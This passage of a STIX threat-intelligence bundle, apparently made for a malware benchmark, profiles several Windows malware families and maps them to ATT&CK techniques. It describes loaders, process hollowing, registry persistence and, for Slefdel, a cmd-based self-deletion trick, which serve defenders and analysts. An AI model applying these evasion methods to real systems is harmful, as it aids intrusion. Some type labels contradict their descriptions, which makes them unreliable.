      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixmuch exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1824f613-0de3-5e43-94fc-11489ecb3659",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b7d9c71-acf2-5197-bc3b-c467cdf2ceca",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixmuch exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--69ffb756-ea04-5c96-bed7-639851b62262",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3b7d9c71-acf2-5197-bc3b-c467cdf2ceca",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixmuch exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--56e0854c-6fc3-5d12-82bd-90b0c88b688c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sixxpack",
      "description": "Sixxpack (classified across endpoint detection telemetry under designations including Trojan:Win32/Sixxpack, Trojan:Win32/Sixxpack.A, and VirTool:Win32/Sixxpack) is an obfuscated multi-stage Windows trojan loader and crypter framework. Designed to evade behavioral monitoring and signature-based antivirus solutions, Sixxpack is distributed via weaponized email attachments, software cracking archives, and malicious download aggregators. Upon initial execution, Sixxpack executes anti-sandbox and debugger evasion routines, resolving API calls dynamically via memory hashes (API hashing) to defeat static analysis. It establishes autostart persistence by configuring Run registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. Sixxpack decrypts an embedded payload in memory and injects the malicious code into legitimate Windows system processes (such as svchost.exe or explorer.exe) using process hollowing or reflective DLL loading, establishing an encrypted C2 channel to execute secondary commands. (Observed samples in benchmark: 21)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Sixxpack",
        "Trojan:Win32/Sixxpack.A",
        "VirTool:Win32/Sixxpack",
        "Win32/Sixxpack",
        "Trojan.Sixxpack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sixxpack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sixxpack"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e5615d1-a974-5178-b77d-61c0f07c9891",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e0854c-6fc3-5d12-82bd-90b0c88b688c",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixxpack exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5ddc81e-c50d-59bd-a100-c823d667edff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e0854c-6fc3-5d12-82bd-90b0c88b688c",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixxpack exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7aa435ff-e5c1-5676-9065-11984efa06c6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e0854c-6fc3-5d12-82bd-90b0c88b688c",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixxpack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a1ee5f8e-5b70-589d-b580-4490f8adc954",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e0854c-6fc3-5d12-82bd-90b0c88b688c",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixxpack exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1348c489-12ac-508f-8f23-2d22bdf2a3c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--56e0854c-6fc3-5d12-82bd-90b0c88b688c",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sixxpack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Skeeyah",
      "description": "Trojan:Win32/Skeeyah is a widely encountered family of evasive trojan loaders and multi-stage droppers documented extensively in Microsoft Windows Defender telemetry. Specifically engineered to circumvent heuristic and signature-based endpoint defenses, Skeeyah executables employ multi-layered polymorphic packing, anti-sandbox sleep drift verification, and code virtualization. Upon validating that it is running in an authentic end-user operating environment, Skeeyah executes process hollowing or dynamic link library (DLL) injection into legitimate Windows processes (such as explorer.exe or svchost.exe). From this concealed vantage point, it acts as a flexible stage-two downloader, retrieving and executing secondary malware payloads including credential stealers, cryptocurrency miners, and ransomware. (Observed samples in benchmark: 440)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Skeeyah",
        "Trojan:Win32/Skeeyah",
        "Trojan.Skeeyah",
        "Win32/Skeeyah",
        "Skeeyah Dropper",
        "Trojan.Win32.Skeeyah"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Skeeyah",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/skeeyah"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e2e1792a-ca5f-5f6e-804a-e89deda18141",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skeeyah exhibits technique T1055.012 (Process Hollowing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fe011a6c-3a8d-5e47-91d9-7d097ef68b42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skeeyah exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--baaf201d-e989-5c53-a9a4-b6bcfc20c6a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skeeyah exhibits technique T1497.001 (System Checks)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a8771e7c-0f1f-5115-b487-79fcc8947a06",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skeeyah exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b1a26901-8e64-50e3-bd87-7322e60b27b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skeeyah exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--762b7ccc-869c-5e88-883f-01e8fcddd149",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--74df1446-2de4-596e-95da-b1175a1a6e67",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skeeyah exhibits technique T1059.003 (Windows Command Shell)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f84e6555-dd49-528c-b9d1-238429cae71e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Skillis",
      "description": "Trojan:Win32/Skillis is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Skillis</b><br>To an end-user, a Skillis infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Skillis is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Skillis is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Skillis frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Skillis reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Skillis",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/skillis"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9995d3b5-ec47-582e-9527-45bc393b3e55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f84e6555-dd49-528c-b9d1-238429cae71e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skillis exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15832d85-91e9-52a7-8949-7b1c63636144",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f84e6555-dd49-528c-b9d1-238429cae71e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skillis exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55942d51-944e-5298-9087-ab9f59fcc12c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f84e6555-dd49-528c-b9d1-238429cae71e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skillis exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ba5b2b4e-19f0-52cf-82f3-b890eba129be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f84e6555-dd49-528c-b9d1-238429cae71e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skillis exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a12a3d3a-fa11-59ae-8782-714921e3f8dc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f84e6555-dd49-528c-b9d1-238429cae71e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skillis exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c74471ea-9ba6-51aa-8b51-255df060f8ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Skintrim",
      "description": "Skintrim (cataloged in endpoint protection databases and threat intelligence feeds under signatures including Adware:Win32/Skintrim, PUA:Win32/Skintrim, and Trojan.Win32.Skintrim) is an invasive adware and browser-modifying threat active since 2015. Typically masquerading as desktop customization themes, media skins, or video format transcoders, Skintrim infects endpoints via software bundlers and deceptive download portals. Once executed, Skintrim writes startup entries into the Windows registry and installs background monitoring components that hook web browsers. Skintrim injects unauthorized banner ads into visited websites, generates intrusive pop-under windows, alters browser default search providers, and monitors user web browsing activity to report analytics back to affiliate marketing syndicates. (Observed samples in benchmark: 33)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Skintrim",
        "PUA:Win32/Skintrim",
        "Trojan.Win32.Skintrim",
        "Win32/Skintrim",
        "Adware.Skintrim",
        "Adware:Win32/Skintrim.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Skintrim",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/skintrim"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c7d34504-82a4-5d67-ad24-f0c0d06f6ad5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Skorik",
      "description": "Skorik (cataloged in threat research and antivirus vendor databases under detections including Trojan:Win32/Skorik and Trojan.Win32.Skorik) is a Windows trojan and surveillance stager active since 2013. Designed to compromise host integrity and facilitate persistent unauthorized access, Skorik is typically distributed through malicious spam attachments, cracked software packages, and deceptive file-sharing networks. Upon execution, Skorik creates hidden binaries in the %AppData% directory, modifies Windows registry Run keys for automatic persistence, and injects malicious execution threads into legitimate system processes like explorer.exe. It establishes outbound command-and-control communication over HTTP/HTTPS, enabling remote operators to upload and download files, gather detailed operating system configurations, and deploy secondary malware payloads such as keyloggers and cryptocurrency miners. (Observed samples in benchmark: 70)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Skorik",
        "Trojan.Win32.Skorik",
        "Win32/Skorik"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Skorik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/skorik"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15d7f57f-a4d7-531b-bc02-3add97f14eb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7d34504-82a4-5d67-ad24-f0c0d06f6ad5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skorik exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88349c25-d434-5c99-a67a-c638bf4a4714",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7d34504-82a4-5d67-ad24-f0c0d06f6ad5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skorik exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--246bea11-3f2b-533a-b13f-7ef90dc060f8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7d34504-82a4-5d67-ad24-f0c0d06f6ad5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skorik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b0fd09fa-55bb-5b8f-81d2-6e956c04b05e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7d34504-82a4-5d67-ad24-f0c0d06f6ad5",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skorik exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--758b7e44-25c6-5d71-8ef1-907a58ae69ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c7d34504-82a4-5d67-ad24-f0c0d06f6ad5",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skorik exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5d9f5215-b6ea-5e1a-beee-16388146db12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Skypespam",
      "description": "SkypeSpam (cataloged across antivirus vendors under signatures including Worm:Win32/SkypeSpam, Trojan:Win32/SkypeSpam, Worm:Win32/Pykspa, and Trojan.SkypeSpam) is an automated mass-messaging worm and trojan downloader active since 2012. Targeting endpoints running desktop instant messaging clients, SkypeSpam hooks the local Skype Desktop API and injects into messaging processes to broadcast deceptive social engineering lures (such as 'lol is this your new profile pic?' or 'check out this video') accompanied by shortened redirect URLs (e.g., bit.ly, goo.gl) to all entries in the victim's address book. Recipients who follow the link are redirected to malicious landing pages serving weaponized screensavers (.scr), PIF files, or executable droppers. Once executed on new victim machines, SkypeSpam drops an executable copy into %AppData% or %Temp%, adds registry persistence under the Windows Run key, and contacts remote command-and-control servers to download secondary malware families including cryptocurrency miners, credential stealers, and DDoS botnet agents. (Observed samples in benchmark: 95)",
      "is_family": true,
      "malware_types": [
        "worm"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Worm:Win32/SkypeSpam",
        "Trojan:Win32/SkypeSpam",
        "Worm:Win32/Pykspa",
        "Trojan.SkypeSpam"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Skypespam",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/skypespam"
        }
      ],
      "labels": [
        "worm",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b39c3fa7-cb9d-5c14-976e-ca300f786e89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d9f5215-b6ea-5e1a-beee-16388146db12",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skypespam exhibits technique T1566.002 (Phishing: Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5ae9134-6dba-5360-841c-f72bfaba94e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d9f5215-b6ea-5e1a-beee-16388146db12",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skypespam exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--46ef1e57-2dc1-5468-8ef7-f74f755adcfe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d9f5215-b6ea-5e1a-beee-16388146db12",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skypespam exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8da498b1-5a2a-5f88-a2d4-dc944231a0f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d9f5215-b6ea-5e1a-beee-16388146db12",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skypespam exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7648aedf-fd05-551a-ad93-ff32d0c51b44",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5d9f5215-b6ea-5e1a-beee-16388146db12",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Skypespam exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bdbf783a-5a2d-5da6-b5ca-bb16557e3581",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Slefdel",
      "description": "Trojan:Win32/Slefdel is a heuristic detection identifying a specific, evasive behavior common in malware droppers and initial stagers: self-deletion (`T1070.004`). This is not a specific malware family, but a tactical indicator. The malware executes, performs its primary function (usually downloading or extracting a much larger, stealthier payload), and then permanently deletes its own original executable file from the disk to eliminate the primary forensic artifact.<br><br><b>Understanding Slefdel (Self-Deleting Droppers)</b><br>To an end-user, this action is entirely invisible. For an incident responder, discovering a Slefdel alert means the initial infection vector is gone. The attacker successfully dropped a payload and then burned the bridge behind them. This requires immediate EDR analysis to determine *what* the deleted file actually did before it vanished.<br><br><b>Execution and Evasion Mechanics</b><br>Slefdel behavior is typically implemented in the initial dropper (often delivered via phishing - `T1566.001`). Upon execution, the dropper extracts the true malware payload (e.g., a banking trojan or ransomware) into memory or a hidden directory (`T1105`). To delete itself while it is still running (which Windows normally prevents), the malware uses API tricks. A common method is spawning a hidden command shell (`cmd.exe`) with a brief timeout (`ping 127.0.0.1`), instructing it to delete the dropper executable (`del /f /q`) immediately after the dropper process terminates. This leaves the victim machine infected with the payload, but the original dropped file is missing, frustrating traditional file-based AV scanning.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on the secondary payload that was dropped. The primary IoC is the EDR alert flagging the self-deletion technique. Host-based IoCs require analyzing process trees: look for an initial suspicious executable (often in `%Temp%` or `Downloads`) that spawns `cmd.exe` passing the `/c del` command targeting its own file path. Network IoCs involve identifying any outbound connections made by that initial executable *before* it deleted itself. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Slefdel",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/slefdel"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d4fdf662-429a-5467-80b6-3a6c3ffd8b12",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bdbf783a-5a2d-5da6-b5ca-bb16557e3581",
      "target_ref": "attack-pattern--2f0c4944-d5ef-5364-9177-53581d27fe40",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slefdel exhibits technique T1070.004 (Indicator Removal on Host: File Deletion (The core self-deletion behavior))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d0775dee-773e-5427-b7d4-f99cfe0d90cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bdbf783a-5a2d-5da6-b5ca-bb16557e3581",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Slefdel exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell (Using cmd.exe to execute the deletion))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3da085eb-a82f-5515-a294-fb33ab33d90a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bdbf783a-5a2d-5da6-b5ca-bb16557e3581",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
